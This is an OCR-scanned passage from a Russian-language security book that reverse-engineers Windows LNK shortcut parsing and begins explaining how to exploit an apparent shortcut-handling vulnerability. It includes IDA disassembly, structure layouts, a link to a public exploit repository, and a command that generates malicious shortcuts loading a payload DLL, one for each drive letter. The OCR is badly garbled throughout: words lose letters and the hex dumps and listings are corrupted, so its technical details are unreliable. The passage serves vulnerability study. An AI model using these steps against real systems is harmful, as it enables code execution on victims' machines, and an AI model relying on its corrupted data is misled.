000000 8 0 Ьо оo ~l:Nt!\(AKIФP ;;clul.if5t ~э о~ ,1
ос k'lo 69 00 6Е liJ 6.1¾ JO ~F ◊О 1°1 ◊С '73 иr _i'"<\ JV :~

000000D0 i?~ о.6 О(, 52 •,jJ ~z 55 -1-· OJ '~С! А; ГD 2Z. Z(; G,.., 6.i'
О ЕО tre 70 6С 6F 72 -6 5 ·1: zg 6 5 7!! 65 (К 00 4А 6 0 ::~
000000F0 ~:, o.i; 00 EF ВЕ (19 4В ос 7 А 09 tiE )С --.;~ 2Е ~о _
00000100 ~о 9F ES 10 00 00 00 о: JQ 00 01 00 00 FS ао ◊
00000 11 0 Ро о uo о◊ оо о в1 о~ sc JJ 65 о -а о q
000001 2 0 ро 6С 00 б F О◊ '7,2 or:; 65 00 '72 00 2Е 00 6 5 00 ..?:~
00000130 ро 65 00 >)0 0() 1,: осг· - - ---·
00000 110
000001 5 0
000001 60

Рис. 2.7. Струка IDList в файле легитмно ярлыка


□- 30 - □

Функция CShellLink::_LoadIDList с н ачл читае первы д ва байт дан ых из


блока (это разме струк ры) и выделят требумо количеств памяти для его за­
г р узки (рис. 2.8).

!Dд Q V..·•·• J;iJ Н. xV ,o w -1 t'; ~ Structses О ,f:J &uns D 1§'ii lщ>o<:S


• teк - : 101DCS94
[. text:101DC594 : ntriщ('s: bp-bat.ed ft·amt-
. text :101DC594
.tex t:101DC594 ; pr iuatP : Iong _thisc al l CShelllink: :_loadlDL ist ( str uct IS tre,a,n *)
1
. text: 10С59 ?_ Loadl D ListG!CS helinkOAEJP Ц! St1·ea.-2 proc nea1·
• text : 101DC594 ; CODE XREF": t;She llli nk: : _ Loadf"t•o111st·1·ef)l:I( rxt· r ea 111 *,Uloнg ) +ЕО-1,р
.text: 101DC5 9 4
. text:101DC594 uar i• • d'-Юt pt1· ·•- li
. text:101 DC594 а, · 9=0 ... dword ptr 8
.text:101DC594
. text:101DC594 ; fU,IC!IOH CIIUNI< AI .lexl:1U2At 168 S12E OO OU0·\21 ВУТЕS
[,text : 101DC594
• text :101DC594 mou Pdi, edi
• text: 1 01DC596 pu sh еЬр
.text:101DC597 mou еЬр, esp
• text :101DC599 an d esp, urrrrrFl'8h
.text:101DC59C sub (>Sp, 2Ch
.text:101DC59F mou еах, _ sec urity_c ookie
. text : 101DC5A4 х о, е ах, esp
.text:101DC5 A6 mou re s p-+ 2Ch -+ uar Ji l, еах

Рис . 2.8 . Ф ункц ия CShelllink ::_LoadlDList для nарсинг содержимг струкы IDList

Затем начиется ч те ние д аных из LINKTARGET_IDLIST. Каждый элемнт этой


струкы - это часть пути до объекта , на котрый сылаетя ярлык. Система
прохдит по каждому такому элемнту ltemID и читае его д аные .

П уть записыветя в кодирве ASCII и / и л и UTF-16 . В легитмно ярлыке также


имеются метадны для каждог элемнта п ути. Ты их м ожешь наблюдть на
рис . 2.9, но для эксплуат они ци нам ни к чему.

Рис. 2.9. Бло к IDList с метадныи в легитмно ярлыке

Ф ормат типа- и де нтифкаор клас CLSID. Поиск сотвеия ведтся в ветк


р ест р а НКEY_CLASROTID. Наприме , в нашем сл у чае GUID объек­
та равен 20d04fe0-3aea-1069-a2d8-08002b30309d, что в простанве имен облч­
ки Windows сотвеу Му Computer. По д робне об эт ом мы погврим на эта­
п е напися эк сп лоита.
□- 31 - □

С хидером боле-мн разоблись , тепрь перносимя в конец LNК-файл ,


к разделу доплнитеьй информац ExtraData.
EXTRA DATA = *EXTRA DATA BLOCK TERМINAL BLOCK

Он может включать в себя мног допл ните льных струк.

EXTRA- DATA- BLOCK = CONSOLE- PROPS / CONSOLE- FE PROPS / DARWIN PROPS /


ENVIRONMENT_PROPS / ICON_ENVIRONMENT PROPS /
КNOW
-
FOLDER- PROPS / PROPERTY- STORE- PROPS /
SHIM_PROPS / SPECIAL_FOLDER_PROPS /
TRACКE PROPS / VI STA AND АВОVЕ IDLIST PROPS

За парсинr этог раз дела отвеча билотека shlwapi.dll, а имено функция


SНReadDtBlockLis (рис. 2.1 О а , Ь ).

.text:1U1DC9EO loc 10С9ЕО: ; COD[ XRH: CShelllink: :_loadfronS.trean( Htrean .. ,ulong) • 2nF ,1.j
. text:101DC9ED - te s t esi. es i
. text:101DC9E 2 js s ho1·t loc 10СА8
. text: 1 01DC9E~ lea еах. [ edi; OECh ]
.text:1010C9EA push еах

1
.text:101DC9EB
. text:101D C9EC
. text :101DC9F 2
::~1
push еьх

:~; :-~_,. ~ HR ~<:H10atНur.f{ i!>tt~~ ; S.HR f• ~tdD~-~-~-~-~:-~~-~kt .i.,;.t ()( ,х)_

• .tex t:181DC9F4 te s t 1;1 si, t> si


1 • . text:101DC9F6 js short loc 101DCA18
: • . text: 1 D1DC9F8 lea еьх. (edi:; OC4h ]
. text: 1 01 DC9FE с1р dwot· d ptt· ( еЬх ], О
.text:101DCA01 jz loc_101DCB45

IDд¼t:w-A tJ 1m JDAVlow-6 D [Q] н~х Vie'l\'~1 1k} iAJ Stru<tures Li


. text:63198D30
.text:63198D30
. text:63198D30 AtriЬ1e s: Ьр 1,ased ft· a щe
. text : 63198D30
.text:63198D30 ; stdcall SHReadDataDloc kLi s t( x , х)
.text :63198D30 - puЫic _ SHReadData8lo cklist@8
.text:63198D30 _ S HReadDt8lo c kLi s Ш8 proc ne a,· DATA XRfF: .text:63182174io
. text: 63198D30 ; ~ t•."•Xt :н _631B/1iDS,i.o
.text:63198D30
.text:63198D30 ua,· 41С • dword pt,· • 41Ch
. text: 63198D30 ua,•-1118 • d,,ord ptr -418h
.text:63198D30 u6ytes • ptr - 41щ, dword
. text :63198038 var 410 • pt r - 41 0hdword
.tex t :63198030 ua,·-40C • ptr - 1,och dword
.tex t:63198030 uа,-:ов • ptr - 1,овh dword
• text :6319803 о 1,м еn • ьуtе ptr - 40411
.text:63198030 va1· 4 dword ptr - 4
. text:63198030 a,·g:o • dword pt1· 8
.text:63198030 а1·9_4 • d11ord ptr OCh
.text:63198D30
.text:63198D30 ruн.10< CIНJNK АТ .t-e xt:6З1AF Sllf ОА( BVT[S
• text :63198D30
• • text :63198D30 l'IOV edi, edi
" • text :63198D32 pu sh еЬр
• • text :63198D33 mou еЬр , es p
• • text :63198D35 sub esp, 41Ch
• • text :63198 D38 mov еах, _security_cookit?
• . text :63198D40 xor еах, еЬр

Рис. 2.1 О. Вызов внешй функци SHReadDataBlocklist в процес выполнеия (а).


Функция SHReadDataBlocklist для парсинг раздел ExtraData (Ь)

Она читае все содержим струкы EXTRA_DATA и заг р ужает е в память .


После загруки вызается провека валидност даных - функция IsValidDataBlock
(рис. 2.11).
□- 32 - □

ID>,Vi,w.. :; m,..~ -в о cQ! ___ , Е Stnкl,s (;1 j'j &uns

. t• : 6З198FD ; 10 _ cdocJ 1r.ua1tdOata 01ock( s truc t· tagorn,cкнEADLR-;.)


. text : 63198F68 ? 1SU.}1 idDat a81ockl1RVCHPAULdgDA I ABlOCKHl;AOE~ l pro c ntat'
. t e x t: 6 Э 1 9 8F 6 0 ; COOF ХН. ~HRead0-1t.a8lor.klist(x,x )-t-DDip
. t••t :63198F6U
. t•xt : 6 3198F6 U рsг • ьуt• ptt· 4
. teм :63198 F60
. text : 63108F60 !1,HCIIOH 1,IШNK AJ •. t 6ЧA1/f\ 1 J ';:Jtf ilU{MШ}'~ \-IVH.:.
1 .text : 63198F60

.text:63198F60 мо u edi ~ edi


, • text : 63198F6 2 pu sh • Ьр
. toxt : 63198F6 3 mou е Ьр. •sp
. text : 63198F65 push •с
• text : 63198F66 push e,si ; unsi gn ecd int •
. text : 63198F67 l'IOU Psi. есх
,. t• x t : 63198F69 pu sh edi ; uns i gnr.d ir1t
. t e xt : 63198F6A xor edi , edi
. text : 63198F6C ... u Рах. (esi • 4 J
.tex : 6З198F add еах. srн ПFГI\ ; svitch 12 cases
. t•xt :6Э1 98F7~ С"'Р еах, OHh
. text :63198F77 J• !» lt o ,·t loc_63198F8S , jt1r1Pt 111 (1:IIYtll /'} ф•f,t1 (."J'~("

• tex t : 63198F79 J"I' ds: ofr _63198FC,.(Pax•~) ; s ttitch j1Jlrlp


.te-x : 6З198F0 ~
.t,xt : 6 3198F8U
.t,xt : 63198 F80 loc 6Э 1 98F: • f.OIH XRH: (.-,Ut1idDaBJockзgnRL0CKHFA •)•19ij
. t,м : 6 Э 198 F 8U - ОНfн Xtif ti>x 1 ,_r.t1•JНa;'

. text : 63198F8U C"f' dword ptr [ esi], О ; jн1>рt•Ы 63198f 19 CdSPS • 1610612733 , - 1 610612727
. t,xt : 63198F83 jb s ho ,·t loc 6Э 1 98F

Рис . 2.11. Фун кция lsValidDataBlock провеят даные из ExtraData

IsValidDataBlock сверят ра з меры и сигнатуры , и ес л и проблем не об нар уже но , то


выполнеи прогамы во з вращется в функцию CShellLink::_LoadFromStream .
Из всего , что можн записть в файл с яр л ыком , нас интерсую тол ько
SpecialFolderDataBlock и KnownFolderDataBlock. Так ка разделы одинаквы по
струке , разбем тольк о д ин и з них .

Струка SpecialFolderDataBlock очень важн в процес э ксплуат ци . Она и с­


по льзуется, если файл , на котрый сылаетя ярлык , нахо д ится в спе циальной па­
ке ситемы ил сылаетя на не. Можн также столкнуья с н аз ванием CSIDL
(Constant Specia l item ID List) ил KNOWNFOLDERID (пришло на смену CSIOL
в Wiпdows Vista), имено их ты встреишь в офицальнй д окумента ци .

Во бще , специальны паки - э то псевдонимы д ля ситемных паок . Таким, на­


приме, явлютс « Корзина », « Панель у правления » ил AppData. Так вот , вме­
сто использваня абсо л ютных путей , котрые мо г ут быть разными в р аз ных си­
темах , в Microsoft придумал такие уникальые стаичные псевдонимы. Они гарн­
т ир уют прогамист , что при обращени , наприме , к панели уп рав л ения они
точн в не поадут , где бы прогам ни выпо л нялась .

В н е к отрых таких пакх объекты представ л яютс осбеным образм. И дл я тог


чт обы ярлык был вы з ван коретн , после з агр уз ки бл ока IDList дан ые и з него
инт ерптиуюся в сотвеи с тек у щим у с т ановкми типа паки.

В озмжн , пока э то з в у чит непоят о, но скор 1ы д ет ал ьн о разбем э то воп р ос,


и все встане на свои места. Пока же во з вращемся к SpecialFolderDataBlock. Сам
р аздел соти и з четырх блокв . Все блоки имею т о д ин и то же разме и т ип
даных - 4 байт , 32-битное бе з накове цело (рис. 2.1 2).
Первый блок BlockSize, ка можн понять из на з вания , - э то общая дли ра зд на ела.
Она фиксрован и имет значеи Ох01. В KnowF ld e rDatВlock ­
OxOOOOOOlC.
□- 33 - □

3
0 1

BlockSize

BlockSignature

SpecialFolderrD

Offset

Рис. 2.12. Блоки раздел SpecialFolderDataBlock

Затем следут BlockSignature - сигнатур раз д ела. Ее зна чени тоже фиксрова­
но - 0xA000000S. В KnowFlderDatВck - ОхАВ.

Следом за ВlockSignature идет блок SpecialFodrШ. Он ка раз указывет, к ка­


кой из специальны х па ок отнсия ярлык . Их спиок можн посмтреь, напри­
мер , ту: https://installmate.com/support/im9/using/symbols/functions/csidls.htm.
В расмтивео случае объект explorer.exe нахо дитс я в паке Windows. Это
специальня пак , котрая имет з начеи Ох24 . Что мы и наблюдем в файле яр­
ка лыка, показн на рис . 2. 13 .
Разниц с KnownFolderDataBlock в том, что там используетя полнцеый GUШ
вместо целочиснг представлния (рис. 2.14).

~ ·~

CSIDL_WINDOWS Ох24 5.0 The \/ ✓ indows directory or SYSROOT.

~ explorer.exe - Shortcut.1nk

Off3et (h)
00000180
00000190
00000lA0
00000180
00000lC0

Рис . 2.13. SpecialFolderlD из ярлыка к файлу explorer.exe

Рис. 2.14. В струке KnownFolderDataBlock используетя полнцеый GUID


□- 34 - □

Следующий важный блок - Offset. Это смещни в байтх, указы вающе на эле ­
мент в блоке ШList. Так ка в нашем ярлыке задн путь C:\Wiodows\explorer.exe,
то смещни будет у на казывть explorer.exe (рис. 2.15).

~ explore:r.~e: · Shortcut.lnk

Of!set (h) 00 01 02 03 04 05 06 07 08 09 ОА В ОС OD ОЕ OF
000 00000
00000010
000 000 20
00000030
00000040 LINКТARGET _IDLIST 00 Н

00000050 4F DO 201!:О ЕА 69 10 А2 DЗ
З А 08 00 2В
00000060 9D 19 00 2F Н ЗА SC 00 on о 00 uo
00000070 OQ QO 00 00 00 00 00 00 00 00 56 00 31
0В 00 00 11 413 се SE 10 00 5:7 69 б Е 61 6F
00000090 40 00 09 00 04 00 Ef !.Е FO '! В BD з а ],1
ОА 2 Е 00 00 00 SD 15 ОА 00 00 00 09 00 00
о в о 00 00 00 00 00 00 00 00
о о ос
OOOOOODO
О ЕО
OOOOOO FO
00000100
00000110
00000120
00000130
00000140
00000150
000001 60
00000170
00000180 Specialf QlderOataBlock
.с- -~ -1
oql ~[о_ ~
000001 90
OOOOOlAO ps о о АО 2~ о о o j sз оо
OOOOOlBO
OOOOOlCO offset
Рис. 2.15. Бло к offset струкы SpecialFolderDataBlock
указывет на элемнт из IDList

Обраоткй струкы заним ае тс я ф ункция CShellLink:: _ DecodeSpecialFolder


(рис . 2.16) .

• t1rм:DC9EI loc 1110CVEI:


г• .trм:1DC9EI - tll!'St 1tsi. 1tsi

......
__ ___ ! . tll!'xt:111 DC9E 2 Js short loc 111DCA11
• • tr,ct: 111DC9Elt lll!'Ji lt'1X, (•d i;' EChИ ]
• tf'xt: 111DC9EA
. trxt : 111DC9EB
• tll!'xt: 111DC9EC ds:_ir,ip_SHRf'•dD•tA8l oc kl1s t9') ; SHRt.>adOat.18]uckLj ia{x .х)
.t•xt : 111DC9F2 • si f,llX
.trxt:111DC9Flt f'S i . fSi 1
---1··- • . tll!'xt : 111 DC9 F6
.tll!'xt:111DC9FI
• .trxt:111DC9FE
S hOl"'t loc_111DCA11

; СПОЕ

.
l oc _1 11DCA11 : XR[f: CShel1Link : :_Lo<1dfrol!tStt"1!<111(1Str@i1II • , ulong)•F6tj
. trxt:111 DCAl1 ; t:ShP.l ll ink: : _ Loadft"OIIStrca"( I Stre•• •, ulong) •1 3Df j
trxt : 111DCAl7 tl!St dWOt"d ptr (@di• 10Ch ], 110Dh

,-.1. ..
1
.t1txt:111DCAl7 loc 111DCAl7:
. trxt:111DCAl7
1 • .t1txt:111DCAl7
-
Jnz
сор

....J•
loc 111DCBE3
dlllOi="d ptt" [rdi• ll::lm ], lt
s hort loc 1DСАЗ8
fCX, rdi - ; thi s
', - - , - - -., • t1txt :111DCA89
• t1txt : 111DCA• c•ll ? Drc od1tSpt'ci,1lfoldrt11CSh1tlllink8RAAEXX2 ; CS h~llli nk: : _O (>t'Odto Sptocial Folder {u oid )

Рис. 2.16. Вызов функци _DecodeSpecialFolder


□- 35 - □

Сначл опредлятс тип использванй струкы по сигнатуре (блок Block-


Signature ). SpecialFolderDataBlock имет сигнатур ОхА5 , а KnownFolder-
DataBlock - ОхАВ. Функция SНFindDatBlock выполняет это поиск
в ExtraData (рис. 2.17).

• .text:101DC6EF rnou [ebp+ uar_4 ], еах


• • text: 101 DC6F2 and [ebp+ pu ], О
• .text:101DC6F6 push еЬх
8
.text:101DC6F7 push esi ; st ruct ITEMIDLJST ABSOLUTE *
~ • text: 1 01DC6F8 push edi ; struct =JTEMIDLIST=ABSOLU TE •
• .text:101DC6F9 rnou esi, есх
• .text:101DC6F8 push 000000B h -> KnownFolderDataB!ock
ОА
~ .text:101DC700 push d1 • юrd
ptr [esi+ IIECh ]
(
• .text:101DC706 call ds : _inpsнr·dDat!Jloc<@8 ; SHFindOataBlock( х ,х)
• .text:101DC70C rnou edi, еах
• .text:101DC70E test edi, edi
• • text: 1 01 DC71 О jnz short loc 101DC747
• .text:101DC712 push ОА OOOIJ005h .;, Sp&cialFoldarDataBJock
4
• text: 1 01DC717 push dword ptr [esi+ OfCt1 ]
(
а • text :101DC71D call ,ns: _irnp_SHFindDataBlock@8 ; SHFindDataB1ock(x,x)
• .tex:10DC72З rnou edi, еах
• • text: 1 01DC725 test edi, edi
• text :101DC727 jnz loc_ 102АЕЗ О

Рис. 2.17. Вызов функци SHFindDataBlock для поиска нужог раздел по сигнатуре

Особенти эксплуатци
Прежд чем сгенриовать эксплуати рующий уязвимость ярлык, следут скомпи­
лировать DLL с нужой полезнй нагрузкой. З д есь я не буд описывать весь про­
цес компиляц DLL, этог полн на простах Интера. Для теса достачн
использват готвую билотеку из репо зито рия Зgstuden (https://github.com/
Зgstuden/CVE-2017846XP) , котрая запускет кальуятор .

Я перимную е во что-нибу д ь мен монструзе , наприме test.dll. Тепрь


нужо сгенриовать ярлык. Напомню , что я использую эксплоит авторс nixawk
и ykoster. Он мультипафореный и напис на Python, никах зависмотей.
Для компиляц используетя команд следующго вида:

. /429 . ру </path/to/ lnk/file> </path/to/dll/for / load>

Путь до DLL - это очень важный пармет. Дело в том, что эксплоит будет распо­
лагться на внешм носител и работь отуда, а путь до объекта в ярлыке абсо­
лютный . Это создает опредлны сложнти , т. к . буква дис ка будет менятьс от
машины к машине, потму что Windows присвает е автомическ.

Проблема обхдится в лоб - созданием кучи ярлыков для каждой возмжнй


буквы диска. Имено по этому в репозит по сылке выше есть ярлыки на каж­
дую букв алфвит. Предполжим, что мы букв знаем и это D:. Дале